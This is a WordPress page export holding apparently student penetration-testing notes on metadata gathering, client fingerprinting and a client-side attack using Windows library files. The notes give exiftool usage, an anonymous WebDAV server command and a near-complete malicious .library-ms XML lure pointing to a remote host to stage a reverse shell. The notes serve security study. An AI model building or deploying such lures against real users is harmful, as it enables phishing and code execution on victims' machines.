{"id":644,"date":"2026-06-29T22:04:24","date_gmt":"2026-06-29T22:04:24","guid":{"rendered":"https:\/\/sites.wp.odu.edu\/georgesmith\/?page_id=644"},"modified":"2026-06-30T00:38:32","modified_gmt":"2026-06-30T00:38:32","slug":"notes-2","status":"publish","type":"page","link":"https:\/\/sites.wp.odu.edu\/georgesmith\/notes-2\/","title":{"rendered":"Notes"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Information Gathering<\/h3>\n\n\n\n<ul>\n<li>Inspecting metadata tags can show\n<ul>\n<li>Author<\/li>\n\n\n\n<li>Creation date<\/li>\n\n\n\n<li>Name and version of the software<\/li>\n\n\n\n<li>OS of the client<\/li>\n\n\n\n<li>etc.\n<ul>\n<li>Using this hand off method may lead to less accurate information but won&#8217;t ping defenders<\/li>\n\n\n\n<li>downloading and retrieving data from a webpage or a user can often lead to this information gathering.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>TOOL USED THIS SECTION\n<ul>\n<li>exiftool\n<ul>\n<li>ex. exiftool -a -u {file.name}<\/li>\n\n\n\n<li>-a Displays Duplicated Tags<\/li>\n\n\n\n<li>-u Displays Shows Unknown Tags<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>We can use this information to gather information for better social engineering.\n<ul>\n<li>If there is no (For MAC) headers we can assume windows machines ran\/processed this data.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Client Fingerprinting<\/h3>\n\n\n\n<ul>\n<li>Device Fingerprinting\n<ul>\n<li>This is used to obtain device information without being able to route to the device<\/li>\n\n\n\n<li>HTA or HTML Application Attack\n<ul>\n<li>Is used to execute code within a browser to gather data on the target.<\/li>\n\n\n\n<li>For this tool Target needs to be on windows and target must be using Internet Explorer or Microsoft edge.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>TOOL USED IN THIS SECTION\n<ul>\n<li>Website called: <a href=\"https:\/\/canarytokens.org\/generate\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/canarytokens.org\/generate<\/a>\n<ul>\n<li>Provides us with a dropdown menu to create different types of tokens<\/li>\n\n\n\n<li>Have to enter a email address to get dataexfil\n<ul>\n<li>UserAgent might not be always verifiable and not as trustworthy due to being modifiable<\/li>\n\n\n\n<li>Browser agent is more precise due to using JavaScript and taking information straight out the users search engine.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Obtaining Code Execution Via Windows Library Files<\/h3>\n\n\n\n<ul>\n<li>Using windows library features to point to a malicious source.\n<ul>\n<li>This is a 2-stage client-side attack<\/li>\n\n\n\n<li>The windows library files are to gain a foothold\n<ul>\n<li>The foothold is used to stage the reverse shell for further exploitation<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>STEPS USED\n<ul>\n<li>Created a directory to host the webshare<\/li>\n\n\n\n<li>mkdir \/home\/{User}\/webdav<\/li>\n\n\n\n<li>Created a file to host in the webshare folder<\/li>\n\n\n\n<li>touch \/home\/{User}\/WebDAV\/{file.name} | This is going to be the malicious file<\/li>\n\n\n\n<li>Now we can launch the WebDAV server by using:<\/li>\n\n\n\n<li>\/home\/{User}\/.local\/bin\/wsgidav &#8211;host=0.0.0.0 &#8211;port=80 &#8211;auth=anonymous &#8211;root \/home\/{User}\/WebDAV\/\n<ul>\n<li>Host is the base listening IP<\/li>\n\n\n\n<li><\/li>\n\n\n\n<li>Port is going to be the listening port<\/li>\n\n\n\n<li>&#8211;auth disables authentication to the share<\/li>\n\n\n\n<li>&#8211;root is the main place the webshare points too (so if pointed to a .txt file it would show that file in the specific directory<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>we can use VS Code to set up the library file\n<ul>\n<li>Creating a library file name using {config.library.ms} we can make windows read it as a common icon\n<ul>\n<li>Library Files consist of 3 parts and written in XML<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>To make this look like a library file and work as one we need to\n<ul>\n<li>Adding the XML and library file format version\n<ul>\n<li>1.  &lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<\/li>\n\n\n\n<li>2. &lt;libraryDescription xmlns=&#8221;http:\/\/schemas.microsoft.com\/windows\/2009\/library&#8221;&gt;<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>This is the namespace for the version of the library file format starting from Win7\n<ul>\n<li>Add 2 tags to provide information about the library\n<ul>\n<li>3. &lt;name&gt;@windows.storage.dll,-34582&lt;\/name&gt;<\/li>\n\n\n\n<li>4. &lt;version&gt;6&lt;\/version&gt;\n<ul>\n<li>Name tage specifies the name of the library using a dll name and index<\/li>\n\n\n\n<li>Version tag can be set by our choice<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Add is librarypinned tag\n<ul>\n<li>5. &lt;isLibraryPinned&gt;true&lt;\/isLibraryPinned&gt;\n<ul>\n<li>Specifies if the library is pinned to the navigation pane in explorer more believe when set to true.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Next we set Icon Reference\n<ul>\n<li>6. \u00a0&lt;iconReference&gt;imagers.dll,-1003&lt;\/iconReference&gt;\n<ul>\n<li>This determines what Icon to display for the file<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Add the Template info tags next\n<ul>\n<li>7. \u00a0&lt;templateInfo&gt;<\/li>\n\n\n\n<li>8. &lt;folderType&gt;{7d49d726-3c21-4f05-99aa-fdc2c9474656}&lt;\/folderType&gt;<\/li>\n\n\n\n<li>9. &lt;\/templateInfo&gt;\n<ul>\n<li>Contain the folder type tags and determine the coloums and details after opening the library.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Mark the beginning of the library section\n<ul>\n<li>10. &lt;searchConnectorDescriptionList&gt;<\/li>\n\n\n\n<li>11. \u00a0&lt;searchConnectorDescription&gt;<\/li>\n\n\n\n<li>12. &lt;isDefaultSaveLocation&gt;true&lt;\/isDefaultSaveLocation&gt;<\/li>\n\n\n\n<li>13. \u00a0&lt;isSupported&gt;false&lt;\/isSupported&gt;<\/li>\n\n\n\n<li>14. &lt;simpleLocation&gt;<\/li>\n\n\n\n<li>15. <a href=\"http:\/\/10.10.2.4\" target=\"_blank\" rel=\"noreferrer noopener\">\u00a0&lt;url&gt;http:\/\/10.10.2.4&lt;\/url&gt;<\/a><\/li>\n\n\n\n<li>16. &lt;\/simpleLocation&gt;<\/li>\n\n\n\n<li>17. \u00a0&lt;\/searchConnectorDescription&gt;<\/li>\n\n\n\n<li>18. &lt;\/searchConnectorDescriptionList&gt;<\/li>\n\n\n\n<li>19. &lt;\/libraryDescription&gt;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Specifies the specific location that the library connects to.\n<ul>\n<li>12. Determines the behavior of windows explorer when a user chooses to save an item<\/li>\n\n\n\n<li>13. used for compatibility<\/li>\n\n\n\n<li>15. is the url that we contain in simplelocation that is a user-friendly way to point to a remote location.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Information Gathering Client Fingerprinting Obtaining Code Execution Via Windows Library Files<\/p>\n","protected":false},"author":30474,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":"","_links_to":"","_links_to_target":""},"_links":{"self":[{"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/pages\/644"}],"collection":[{"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/users\/30474"}],"replies":[{"embeddable":true,"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/comments?post=644"}],"version-history":[{"count":5,"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/pages\/644\/revisions"}],"predecessor-version":[{"id":655,"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/pages\/644\/revisions\/655"}],"wp:attachment":[{"href":"https:\/\/sites.wp.odu.edu\/georgesmith\/wp-json\/wp\/v2\/media?parent=644"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}